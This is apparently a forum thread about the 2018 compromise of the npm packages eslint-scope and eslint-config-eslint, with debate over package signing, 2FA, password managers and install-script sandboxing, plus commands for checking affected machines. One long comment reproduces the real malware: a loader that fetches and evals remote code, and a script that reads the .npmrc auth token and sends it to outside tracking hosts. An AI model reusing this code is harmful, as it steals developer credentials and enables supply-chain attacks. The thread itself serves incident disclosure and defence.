Postmortem for Malicious Packages Published on July 12th, 2018
eslint.org
eslint.org
We've created a GitHub repo to track our progress that you can visit here: https://github.com/runkitdev/eslint-scope-scan
We will immediately file issues on any packages we find the exploit in. We are also open to suggestions to more sophisticated further approaches after this initial scan. Additionally, we are internally working on adding some sanity checks to the installation pipeline that might one day catch this sooner (such as monitoring network requests and file modifications during our sandbox install). Please let us know if you have any other ideas.
How did you produce this list btw?
I downloaded the contents of the npm couchdb and did an exhaustive search of version timestamps.
I have come to expect no less from npm, and by extension, nodejs.
This gives the false sense that its safe to install packages again.
It's time to enforce two-factor authentication for publishing packages.
It's time to publish a roadmap towards package signing and verification.
It's time to talk about sandboxing the install scripts to prevent token theft.
We're done for the day is so far from sufficient.
You're the first person I've seen mention this, which seems like it should be the first and most obvious line of defense against bad stuff like this. +1
Package management is a mostly solved problem, but npm refuses to learn from the 30+ years of experience that Linux and other communities have had.
These days, with ES6, TypeScript, and React...it's actually all pretty nice.
But NPM is still and forever a mess that just plain didn't learn from its predecessors--and my only guess as to the cavalier treatment of security issues is that the NPM crew's a bunch of premillenial dispensationalists banking on getting raptured (or bought, I guess, but that's way less fun) before the chickens come home to roost, 'cause just about anything else seems implausible.
I am thinking about getting in on Deno only and strictly because maybe that can have a package management solution that is not held captive by an irresponsible venture-backed entity. It's not like anyone's breaking NPM's grip anytime soon. (Even if you tried, their API is so awful as to be functionally incompatible unless you literally just copy their internal structure, so...yeah. Great. Hooray.)
NodeJS didn't make those - they'd be around with any nodejs alternative.
btw, nodejs should provide some "isolated" mode (ie run as user "nobody-projectName-userName" - eg. "nobody-react-whatcanthisbee") and do some appropriate group permissions.
basic linux permissions can do a lot...
(1) someone has published a package. (2) that package has become well known and used enough that the community as a whole trusts that the entity publishing that package is not there for malicious purposes (3) the maintainer of that package has their account compromised, either by credential leak or by a vulnerability in the package management system itself (in this case, the former and not the latter)
If the package were signed, then the attacker could not have published this fake package that lead to issues today. Does this solve the root chain of trust issue for whose packages you should trust? No, but nothing other than thoroughly reviewing every line can do that. Does it prevent you from having a random unknown person masquerade as the maintainer and publish a malicious package? Yes.
There are real additional trust issues to solve, but let's not let those detract from the fact that package signing would have prevented the exact issue which we saw today. Defense in depth, always.
However, I am going to reiterate my original point with a bit of clarification: "it is not clear that package signing will prevent malicious actors from compromising systems using a language package manager with anything approaching the success of distro package managers".
I think what you're proposing amounts to a two-tier system. There is somehow a set of known signatures that are trusted by the npm consumer[0] and then a vast sea of untrusted signatures. Developers sometimes add libraries, and add one (or more?) signatures to their trusted set.
First, in the specific case of NPM, we have an existing system with huge numbers of transitive dependencies and no existing package signing. I don't see how you retrofit signing on to that system. Too many developers will ignore it, but also because there are so many libraries, you'll have an absolutely massive number of trusted keys.
Second, suppose you're starting from scratch, so you can enforce signatures from day one. You still have the problem of transitive dependencies. It's certainly more work for a malicious actor to either a) create legitimate libraries that will be included in other libraries, then convert them to malware, or b) steal a developer's signing keys, but neither one is remotely impossible, given the large number of libraries involved. You just need one part of that web of libraries to involve a sloppy or malicious developer, and you are hosed.
[0] Interesting question: how is this handled? Is it part of the lockfile for a project? Something system level, with the problems of devs installing random shit on their machines and ending up with too much being trusted, and also lack of reproducible builds?
I'm not surprised if you don't know about it, because it was [dead] on HN as soon as it was posted... which should tell you a bit about the echo chamber you're in here.
https://blog.packagecloud.io/eng/2018/02/21/attacks-against-...
The reason that package signing never really matters that much is that once you boil the thrat model down to package publish credentials are compromised or package repository infrastructure is compromised, the form of credentials involved is of little consequence to the prior and uninvolved in the latter. The threat is against the client, not intermediates.
The original developer here reused credentials. There is nothing in signing that protects from this attitude. This attitude is the one that also reuses credentials for signing keys, if encrypting them at all - I'd bet this user has numerous stale ssh keys and never encrypted any of the secrets. Some of the top eslint contributors have multiple short rsa keys on their GitHub. None of them have modern keys.
There are more effective places to invest to better protect users. Auditing infrastructure for example.
Note that metadata signing in apt is just indirect package signing. The package sha256 sums are part of the metadata. It looks like that dpkg too have support for package signing, but at that point it would be redundant.
If someone says "this problem cannot reasonably be solved", you don't get to discredit them by saying "look, you had the problem!" You have to actually rebut their arguments and say that it can be solved.
>Thank you for your time and effort.
Yeah, thanks to you too, NPM. No time or effort to go around for progress on this issue in the interim 3 years, apparently.
[0]https://github.com/npm/npm/pull/4016#issuecomment-76316744
Require multiple keys to sign or vouch for a package before publishing is complete (log of reverse dependencies +1 maybe).
There are lots of options.
* eslint user FooCorp also gets compromised, and a similarly-malicious version of foolib-js gets published that includes the _same code_ to steal tokens
* npm invalidates all tokens
* you decide to use foolib-js, and your newly-minted token is now compromised
npm are fucking this up, and royally.
> We determined that access tokens for approximately 4,500 accounts could have been obtained before we acted to close this vulnerability. However, we have not found evidence that any tokens were actually obtained or used to access any npmjs.com account during this window.[1]
I get that it's possible that other modules could already be infected, but it's also true that other modules could have been similarly infected long before this one.
[1] https://blog.npmjs.org/post/175824896885/incident-report-npm...
How did they determine tokens for 4,500 accounts could have been obtained, and what is that even supposed to mean? The problem here is that any user of these packages could have had their .npmjs file read and exfiltrated, not just some upstream package maintainer. Were there only 4,500 valid npm tokens or something? I cannot imagine that is the case.
So either they looked at 4,500 packages uploaded during the compromise window and they're not explaining how they undertook to do that, or they don't understand the vector and are minimizing the severity of the issue.
I think it would be helpful if they could expose some of those logs but considering the meat of what matters would be the IP addresses to verify if your machine was compromised (or your CI server) that GPDR effectively wiped that possibility off the table. It would almost behoove them to setup a kind of haveibeenpwned service where you can check against stuff like this in the future. It's not like this can't happen again as the hole hasn't been closed completely, only this one set of compromised packages appears clean for now.
https://gist.github.com/thenewwazoo/0306aa06aafe7807497ed1db...
\u0065val
or e\u0076al
or any other combination of it? eval === this[[1,18,-3,8].map(x=>String.fromCharCode(x+100)).join("")]
https://jsfiddle.net/hkvu9s47/I wonder how many packages in fact got published during that nine-hour time window. Does anyone know what kind of number that would be?
eslint-scope 3.7.2 was published on 2018-07-12T10:40:00.478Z eslint-config-eslint 5.0.2 was published on 2018-07-12T09:49:24.957Z tokens were invalidated at 2018-07-12 12:30 UTC
I'm reading it as tokens created before 2018-07-12 12:30 UTC were invalidated, but the invalidation itself happened on 2018-07-12 18:42 UTC according to eslint's post-mortem[1]. I think the latter is the more relevant date.
[1] https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...
> We determined that access tokens for approximately 4,500 accounts could have been obtained before we acted to close this vulnerability. However, we have not found evidence that any tokens were actually obtained or used to access any npmjs.com account during this window.
Source: https://blog.npmjs.org/post/175824896885/incident-report-npm...
"npm has revoked all access tokens issued before 2018-07-12
12:30 UTC. As a result, all access tokens compromised by
this attack should no longer be usable."So, I just finished a Maven plugin that verifies each artifact in the build has been signed by a pinned pgp key. This would make it now difficult for an attacker to hijack another artifact's namespace.
https://exabrial.github.io/pgp-signature-check-plugin/
I tried to make the code AS straightforward as possible, using dependency injection to make testing easy. My Hope Is you start using this in your open source projects and at your job
Alternatively, we as a community can continue to call it a toy that nobody should trust or use for anything serious, and then the flak isn't disproportionate since you shouldn't have been using it for anything important anways, but you can't have it both ways.
If someone has a contact at Sonatype, I'd love to talk to them about fixing this.
Not sure if Maven Central is running on the closed-source version, though.
> If someone has a contact at Sonatype, I'd love to talk to them about fixing this.
Contact them by email, they're quite responsive.
Password managers and MFA, people! Please use them. There's never a reason to not use a password manager for every website, application, and service that requires credentials. And MFA isn't everywhere, but for places that support it: use it. Ideally non-phone based if that's an option, to prevent risk of phone number/voicemail-related compromises.
Sage advice. Right until the day that there is a major exploit of a popular password manager.
It's certainly not impossible that some major flaw will eventually be found in KeePass, but it's stood the test of time so far, and it's hard to imagine how it could be mass exploited considering it basically just reads and writes a local AES-encrypted file. Even if someone finds something that lets you completely bypass the encryption (which is very unlikely), they'd still need to gain access to your hard drive (or wherever you're storing the file).
But I'd also say the net security benefit of a lot more people using something like LastPass or 1Password would still outweigh the damage of a future vulnerability.
Either way, there is really no excuse for password reuse in 2018, especially when your password for managing your super popular software package running on an enormous amount of devices is the same as the password to your Harry Potter fanfic forum account or whatever.
one thing that is without dispute is that a password manager will not reuse or slightly vary the same password which is what human beings pretty much always do.
also some popular ones have integrations for reissuing credentials for major sites. in theory if there were some huge compromise you change your master key and reissue as many pw automatically as possible. then focus on the ones in the list that you know have your credit card saved or are essential for other reasons (npm credentials). you also literally have a list to go down at the point anyway. what is the alternative scenario if your 'same password everywhere' pw is compromised ... try to remember which websites you use and might be the biggest issue and literally manually change every single one?
But at least, in the event of an exploit, the VM is still without networking.
You conveniently forgot about the MFA part. The attacker will still need the other factor.
Some code somewhere needs to be able to decrypt all those stored encrypted passwords - that code is a _super_ high value target.
I like/use/recommend/have-paid-for 1Password for 5-6 years now - but I worry that the online and 1Password for Teams implementation - even though I trust the 1Password team to "get it right" - has got to be a really "fun" target for sufficiently motivated and resourced attackers. (If I were sitting round at the NSA looking for a fun project - automated MITM of 1Password traffic at p0wned or backdoored-by-agreement carrier or IX routers, using trusted root CA certs to create legitimate-seeming SSL certs, and on-the-wire JavaScript code injection... I reckon I could sell that to my super-sekrit-PHB as a worthwhile research project. )
You're preaching to the choir on HN.
This needs to be posted on LinkedIn, Facebook, the *Grams, Imgur, Pinterest, etc.
I would've thought so, but clearly one of the maintainers of eslint-scope didn't follow the advice.
Or maybe just adopt one of the dozens that have been around for longer than NPM in the first place.
There are many, most are open source, several have or could be ported to windows. What does npm offer that couldn't have been handled with an apt or rpm repository?
The obsessions of reinventing everything in every language is a giant waste of time.
eslint-scope has 500K downloads every day for god's sake.
When you build a package management system that has user-configurable exec scripts, run them in a secure sandbox/container by default. If you provide an override, require a user to approve it and show them the command that will be run on their system.
If npm package.json scripts only ran in a lightweight linux container with no access to the filesystem, the mere act of doing an `npm install` could not pwn your box.
Another possible takeaway would be that everyone should use Qubes, or some similar project, such that the machine where they use npm doesn't contain any important credentials, and then all publishing is done in CI or in another qubes vm dedicated to the purpose which publishes a shrinkwrapped artifact rather than installing locally.
You could set the security context of your NPM access credentials to something other than unconfined and ensure that only processes with a specific security label can access files tagged with that security context. These security labels in term are kernel controlled. So at that point, a malicious install script needs to escalate to root in order to steal your credentials.
It's kinda sad how such a powerful and rather simple tool is so hard to use.
If you're a potential target for malicious actors, is it a good idea to have a single point of failure for your logins? I certainly see the point about the realities of password reuse, but can we quantify the risks of one approach vs the other somehow?
Just like logging into to 2 SaaSes from the same computer... at which point a keylogger/camera/microphone on/near that computer becomes the single point of failure.
There is a point at which too much paranoia paralyzes a person into inaction. Criticizing people for not defending against nation-state level attacks (eg. Password Manager attacks) when we can't even defend ourselves against the neighbor's son (credential stuffing without 2FA) seems like putting the cart before the horse.
It's pretty obvious some of the cryptocurrency thefts have been for amounts far in excess of what a seriously talented group would need to consider taking on a password manager...
I use `password-store`, which means to get a password I just need access to my gpg key.
My gpg key lives on 3 yubikeys and in 1 bankvault as a paper backup.
If my main yubikey is destroyed or I somehow forget the pin to it, I just need to go to the bank vault.
If I wanted to err on the side of being more able to access it, I could leave an unencrypted copy of the gpg master key with a trusted friend.
Since there are many password managers with different models, I think it's difficult to quantify exactly the failure mode of each.
However, the reality is almost all security experts recommend password managers, and almost everyone who uses 1password for a while doesn't want to go back.. so clearly there's something to it.
The only people I see doubting are people who have uneasy feelings but haven't really written down their threat model nor consulted security professionals.
On the web, executing third-party controlled JS code is considered a profound (XSS) vulnerability, despite browsers being equipped with the strongest sandboxing. Tiny cracks are leveraged into click fraud, cryptocurrency mining, and other nefarious activities.
Meanwhile website build processes indiscriminately pull in random modules and their transitive dependencies. Modules may inadvertently stumble into a core role, like left-pad.
Popular Chrome web extensions get large monetary offers, and npm modules are surely next in line (if it's not already happening).
Here's how I checked my own machine, though I was already confident I wouldn't be affected:
find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;
If you use yarn exclusively, this will also work: yarn cache list | grep eslint-scope-3.7.2I think the likelihood of this being the first time a credential-stuffing attack has worked against an npm account is vanishingly small.
While the timeline given makes the response time sound good - it still took a user notification 90 minutes after the first signs they've found so far of the attack to start kicking in the response.
I wonder how many npm packages are widely used but under _way_ less scrutiny than eslint?
Memories of the leftpad.js debacle make me suspect the attacker was not nearly as evil as possible - if they'd chosen a package that lives way down in the dependancy tree of a bunch of popular stuff, but which itself is unlikely to get much scrutiny, this attack might have slid under the radar for a lot longer. (And I've no confidence that this hasn't already happened, possibly multiple times, and this was just a copycat attacker who got "greedy" and foolishly dropped his attack payload onto a popular and heavily scrutinised package...)
On that note, the main reason it was picked up was a bug in the attack itself. If the creator hadn't put the eval in the .on('data'... section and correctly waited until all data was received it wouldn't have thrown the SyntaxError. It may have flown under the radar for even longer.
EDIT: For those who have done an npm install today, I think those commands are still useful and catch the most probable way one could be affected.
It does though, assume that this discovery is the first time this has ever happened. If _I'd_ been considering doing this attack, I'd almost certainly have trialled it on a less popular and hence less likely to have malicious updates noticed package before hitting something like eslint.
Also, the postmortem leaves out any details of whether or how they've audited the rest of the repo - sure they've cleaned up the two packages they know about and revoked some tokens, but I'm not confident they've done the work required to allow confidence that other packages haven't been targeted in this or previous attacks, meaning they might still be leaking new post-revocation tokens.
[1] https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...
find -exec [...] +
(note + instead of \;) will exec one grep process for as many arguments as possible, instead of one grep process per file. find ~ -path '*/eslint-scope/package.json' -exec jq -r 'input_filename+": "+.version' {} +
or just jq -r 'input_filename+": "+.version' ~/**/**/eslint-scope/package.jsonI get the feeling pure JS is too dynamic for such a large codebase to be reliable. We switched to Typescript a few years back because of the same issue and I'll never look back.
All our JS/TS projects inevitably end up with rm -rf node_modules as the first build step. This has been a constant since NPM 1.X, and somehow at Node 9.0 it's still needed. I never used another package manager that was so unreliable that you need to delete all your packages just to build.
And the horrific error messages when things get messed up. I would rather debug assembly.
The regular leftpad level circus events are just icing on the cake. Please somebody replace NPM. It's even worse than the constant framework churn
What feature of typescript would have prevented this?
For instance, file operations could be limited to the root of the project and not access .git; it must not spawn sub-processes and http connections are limited to non-internal IPs.
I’m aware that most of these defenses could be defeated easily by using native modules et al. — but this needs to be dealt with ASAP. There’s just too many incompetent people in control of this and it’s just a matter of time until a company will pay big for this kind of horrendous engineering mistakes.
(How about an npm module hijacking a Mesos cluster by connecting to a master and deploying a service? We built a PoC of that in a hackathon and it was pretty disturbing how well it worked: running as root on all servers!)
How would you solve that on a package manager level? Static analysis? It's really difficult to make an analyzer that wouldn't be trivially defeated by obfuscation, and wouldn't at the same time have false positives all the time.
Sandboxing at the language runtime (in this case node) level? Theoretically a nice idea, but difficult to implement securely. Java has been trying. Besides the fact that practically no one uses it to isolate third party libraries in server/desktop apps, there were some serious vulnerabilities: https://www.thezdi.com/blog/2018/4/25/when-java-throws-you-a...
An OS level capability-based security model like Capsicum/CloudABI is a better solution, but again — doesn't fit that well with libraries. In Capsicum, you need a process boundary to isolate code, and that implies IPC, which is a thing developers absolutely love to use all the time… (not).
Here's an awesome research idea that I sadly do not have the time to work on: make a programming environment where all shared libraries are actually servers built as CloudABI executables, library calls are actually some super-fast RPC (with e.g. Cap'n Proto to avoid spending time on serialization, and of course fd passing for capabilities), and everything is handled as transparently as possible.
As a bonus, CloudABI solves the OS portability problem. Extra research idea: merge CloudABI with WebAssembly to solve the CPU portability problem as well. End result: same application runs on Linux/amd64 and NetBSD/toaster128, with secure sandboxing for every third party left-pad module.
And that does have process isolation.
I wrote a script to extract all of my changed dependencies from package-lock.json and retrieve the publication date of the resolved version from registry.npmjs.org. It's hacky but here's the steps:
First run this pipeline. You can change the first two lines if you're interested in the whole package-lock.json; I was just interested in my changes.
git diff master -- package-lock.json \
| grep '+\s*"resolved":' \
| awk '$2 == "\"resolved\":" {print $3}' \
| cut -d '"' -f2 \
| perl -pe "s/\/-\/(?:\\S+-)((?:[0-9]+)(?:\\.[0-9]+)+\\S+)\\.tgz/ \1/" \
> dep-urls-and-versions.txt
You now have a file which contains on each line a URL, then a space, then a version string. I ran this python script on the file.import requests
with open("dep-urls-and-versions.txt", "r") as f:
for line in f.readlines():
url, version = line.strip().split(" ")
res = requests.get(url)
body = res.json()
print(body["time"][version], body["name"])
Run it as `python script.py | sort` and you'll get the most recently published packages in your package-lock.json. Just check that the last (bottom-most) timestamp is older than 2018-07-12 10:25 UTC when the first compromised package was published.Hope that helps someone.
% analyze-some-npm-package some-package@2.1.1
→ some-package/foo.js contains a syntax error
→ some-package/bar.js calls eval() on line blah blah
→ sub-dependency@2.3.4 is only 2 hours old
...that sort of thing. I suppose it would be a pretty big undertaking.For example:
1. contains a syntax error: this is solved with TypeScript or flow which can run against a .js file
2. calls to eval(): this is solved by linting the .js file
3. only 2 hours old: this is solved by looking at npm publish date for the package version...take a look at the "time" key here: https://registry.npmjs.com/eslint-scope
The fact that npmjs.com revoked access token has no effect on private repositories access tokens. I would recommend everyone, who uses private npm repositories, to investigate a possibility of credentials leak.
- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your ".npmrc" file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: eslint-scope@3.7.2 and eslint-config-eslint@5.0.2.
- The ".npmrc" (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.
- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.
- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package eslint-scope@3.7.2 has been removed, but some pc could get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.
- Be careful if you cache npm packages on your server (nexus or similar).
# All npm packages that directly depends on "eslint-scope"
- "webpack" (9k dependents)
- "eslint" (6k dependents)
- "babel-eslint" (5k dependents)
- "vue-eslint-parser"
- "atom-eslint-parser"
- "eslint-web"
- "react-input-select"
- "react-native-handcheque-engine"
- "react-redux-demo1"
- "a_react_reflux_demo"
- "eslint-nullish-coalescing"
- "@mattduffield/eslint4b"
- "miguelcostero-ng2-toasty"
- "@sailshq/eslint"
- "eslint4b"
- "@helpscout/zero"
Be careful there are more packages that depends on these as well.# What to do now?
Assume your ".npmrc" file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.
# How it happened:
"The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account."
# How has been discovered
At 12:17 UK time on 12 July 2018 https://github.com/pronebird opened an issue https://github.com/eslint/eslint-scope/issues/39 with this log error:
[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments:
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
^^^^^^
SyntaxError: Unexpected end of input
at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
at emitOne (events.js:116:13)
at IncomingMessage.emit (events.js:211:7)
at IncomingMessage.Readable.read (_stream_readable.js:475:10)
at flow (_stream_readable.js:846:34)
at resume_ (_stream_readable.js:828:3)
at _combinedTickCallback (internal/process/next_tick.js:138:11)
So looks like if there was no error we would not discover it so quickly. So we were lucky!#Technical details:
node_module code for eslint-scope-3.7.2 https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2... (still the original code):
try {
var https = require('https');
https.get({
'hostname': 'pastebin.com',
path: '/raw/XLeVP82h',
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}, (r) => {
r.setEncoding('utf8');
r.on('data', (c) => {
eval(c);
});
r.on('error', () => {
});
}).on('error', () => {
});
} catch (e) {
}
Pastebin script http://pastebin.com/raw/XLeVP82h (Now removed): try {
var path = require('path');
var fs = require('fs');
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, {encoding: 'utf8'});
content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
var https1 = require('https');
https1.get({
hostname: 'sstatic1.histats.com',
path: '/0.gif?4103075&101',
method: 'GET',
headers: {Referer: 'http://1.a/' + content}
}, () => {
}).on("error", () => {
});
https1.get({
hostname: 'c.statcounter.com',
path: '/11760461/0/7b5b9d71/1/',
method: 'GET',
headers: {Referer: 'http://2.b/' + content}
}, () => {
}).on("error", () => {
});
}
} catch (e) {
}
"As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header."Source: https://github.com/eslint/eslint-scope/issues/39
# How to mitigate front-end code from malicious npm/yarn packages
I actually discussed this with my colleagues at work. I think from now on I'll assume that all code is compromised.
One big way to reduce this attack vector is to use content-security-privacy set to sandbox https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can't send it to his server.
Of course he can mess up with your code, but reduces a bit the attack vector. Example: let's say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.
Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm/yarn): https://hackernoon.com/im-harvesting-credit-card-numbers-and...
Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.
# What to do next
Think of more ways to mitigate malicious node_modules and how to handle it.
Even if npm will improve the security, we still can't rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.
# More implications that I can think about (add more please)
Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).
If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That's not enough, the attacker could generate a new route on your website "/your-passwords" and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.
Any other important/private files you have on your pc could have been stolen.
Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I'm not sure if you can update the pastebin contents) and propagate to other servers.
This is just a package we happened to notice, maybe there are more infected packages we don't know about.
Package maintainers should be careful with using
any services that auto-merge dependency upgrades.
What is an example of such a service? What is an 'auto-merge' of 'dependency upgrades'? Application developers should use a lockfile
(package-lock.json or yarn.lock) to prevent the
auto-install of new packages.
What is an auto-install of a new package? What triggers it?Edit: actually no I don't know, there would be nothing to submit if no lockfile is used.
I can think about two potential ways but I have no idea if it's any of those:
- Very detailed filter to the point of seeing individual requests and so the token in the referrer URL.
- The referrer URL is the one that is actually getting the info, so when statcounter tries to crawl it then it will send the credentials there.
At the very least you should require that all ESLint members with rights to publish ESLint packages have 2FA enabled on their npm account.
(or provide option to do so using "isolated-node" versions/flags/etc)
that way, a lot of malicious stuff can be blocked with unix/linux basic permissions
(though spectre/etc stuff will be much harder to catch...)
Yes, not so easy.
If someone couldn't do basic things to secure their account, they should take the blame.
Seriously? No help to tell me if I have been affected?
If someone here knows a JS linter that does not require npm/yarn, even ten times less powerful than eslint, please share. It's astonishing that linting C++ requires one file, https://github.com/google/styleguide/blob/gh-pages/cpplint/c..., but linting JS requires MBs of dependencies.
Given the number of other tools in my workflow that are all JS based (webpack, etc.) I don't use it, but I've heard good things from people who have.